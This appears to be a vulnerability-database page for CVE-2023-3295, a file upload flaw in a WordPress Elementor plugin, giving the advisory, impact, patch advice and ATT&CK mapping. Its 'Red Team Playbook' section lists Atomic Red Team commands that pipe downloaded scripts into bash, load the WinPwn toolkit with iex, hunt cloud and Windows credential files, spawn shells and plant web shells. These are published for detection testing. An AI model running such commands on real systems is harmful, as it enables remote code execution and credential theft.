CVE-2023-3295
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of file types within the file manager functionality of the Unlimited Elements For Elementor WordPress plugin. The root cause lies in the failure to enforce file type restrictions on uploaded content, allowing unauthorized file formats to be accepted. The affected component is the file manager feature present in versions up to and including 1.5.66 of the plugin.
Vulnerability Description
The Unlimited Elements For Elementor (Free Widgets, Addons, Templates) for WordPress is vulnerable to arbitrary file uploads due to missing file type validation of files in the file manager functionality in versions up to, and including, 1.5.66 . This makes it possible for authenticated attackers, with contributor-level permissions and above, to upload arbitrary files on the affected site's server which may make remote code execution possible. The issue was partially patched in version 1.5.66 and fully patched in 1.5.67. CVE-2023-31231 appears to be a duplicate of this issue.
Impact
An attacker with contributor-level access can upload malicious files to the server, potentially enabling remote code execution and full compromise of the affected WordPress site. This requires authenticated access with low privileges but no user interaction beyond login. The vulnerability has a high CVSS score (8.8) reflecting its ease of exploitation (low attack complexity) and high impact on confidentiality, integrity, and availability.
Solution
Upgrade the Unlimited Elements For Elementor plugin to version 1.5.67 or later, where the file upload validation has been fully implemented. Partial mitigation was introduced in version 1.5.66 but is incomplete. Refer to the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/ce1ac711-6026-49ef-b66b-2cc199697942 for detailed patch instructions and verification steps.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Unlimited Elements for Elementor plugin arises from inadequate validation of file types within its file manager functionality. This oversight allows authenticated users, particularly those with contributor-level permissions or higher, to upload arbitrary files to the server hosting the affected WordPress site. The lack of stringent checks on the file types being uploaded creates a pathway for malicious actors to introduce potentially harmful files, including scripts that can be executed on the server. This vulnerability is particularly concerning as it can lead to remote code execution, allowing attackers to gain control over the server and manipulate it for nefarious purposes.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker could leverage their contributor-level access to upload malicious files disguised as legitimate content. For instance, they might upload a PHP web shell, which would enable them to execute commands on the server, access sensitive data, or even pivot to other systems within the network. Additionally, the ease of access for contributors means that even less skilled attackers could exploit this flaw, increasing the likelihood of widespread attacks on sites using the affected plugin. The potential for exploitation is exacerbated by the fact that many WordPress sites do not implement robust security measures, making them attractive targets for attackers.
The real-world impact of this vulnerability can be significant, particularly for businesses that rely on WordPress for their online presence. Successful exploitation could lead to data breaches, unauthorized access to sensitive information, and the defacement of websites. The consequences may extend beyond immediate financial losses, as businesses could face reputational damage and loss of customer trust. Furthermore, the potential for attackers to use compromised servers as part of larger botnets or for distributing malware poses a broader risk to the internet ecosystem. Organizations may also incur costs related to incident response, remediation, and potential legal liabilities if customer data is exposed.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security strategy. Regularly updating plugins and themes to their latest versions is crucial, as patches are often released to address known vulnerabilities. In this case, the issue was partially patched in version 1.5.66 and fully resolved in version 1.5.67, emphasizing the importance of maintaining up-to-date software. Additionally, employing web application firewalls (WAFs) can help filter out malicious traffic and block attempts to exploit vulnerabilities. Monitoring server logs for unusual activity, such as unexpected file uploads or execution of scripts, can also aid in early detection of potential breaches.
In conclusion, the vulnerability in the Unlimited Elements for Elementor plugin poses a serious threat to WordPress sites, particularly those with inadequate security measures. The combination of arbitrary file uploads and the potential for remote code execution creates a significant risk for businesses that rely on this plugin. By understanding the technical details, potential attack vectors, and real-world implications, organizations can take proactive steps to protect themselves. Implementing robust detection and mitigation strategies is essential to safeguard against exploitation and maintain the integrity of their online operations.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Unlimited-Elements | Unlimited Elements For Elementor | All |
cpe:2.3:a:unlimited-elements:unlimited_elements_for_elementor:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-3295 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/ce1ac711-6026-49ef-b66b-2cc199697942?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/unlimited-elements-for-elementor/trunk/inc_php/unitecreator_assets.class.php#L1005 |